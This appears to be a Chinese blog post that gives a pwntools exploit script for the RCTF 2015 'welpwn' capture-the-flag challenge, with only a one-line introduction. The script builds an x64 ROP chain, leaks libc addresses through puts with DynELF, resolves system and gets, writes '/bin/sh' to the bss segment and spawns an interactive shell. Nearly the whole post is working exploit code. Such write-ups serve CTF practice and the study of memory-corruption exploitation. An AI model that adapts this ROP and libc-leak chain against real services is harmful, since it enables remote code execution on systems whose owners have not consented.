RCTF 2015 welpwn [ROP] [x64通用gadgets] [简单写法]

https://blog.csdn.net/u011987514/article/details/70232881

按照自己习惯,代码重写一下:

#!/usr/bin/env python
# coding=utf-8

from pwn import *

io = process("./welpwn")

#gadgets
p4r = 0x40089C
pr = 0x4008A3
main = 0x4007CD
puts = 0x4005A0
bss = 0x601070

io.recvuntil("RCTF\n")
def leak(addr):
    payload = "A" * 16 + "B" * 8
    rop = p64(pr) + p64(addr) + p64(puts) + p64(main)
    payload += p64(p4r) + rop
    io.sendline(payload)
    io.recv(27)
    tmp = io.recv()
    data = tmp.split("\nWelcome")[0]
    if len(data):
        return data
    else:
        return "\x00"

d = DynELF(leak, elf = ELF("./welpwn"))
system = d.lookup("system", "libc")
log.info("system addr = " + hex(system))
gets = d.lookup("gets", "libc")
log.info("gets addr = " + hex(gets))

rop = p64(pr) + p64(bss) + p64(gets) + p64(pr) + p64(bss) + p64(system) + p64(0)
payload = "A" * 16 + "B" * 8 + p64(p4r) + rop
io.sendline(payload)
io.sendline("/bin/sh\x00")
io.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值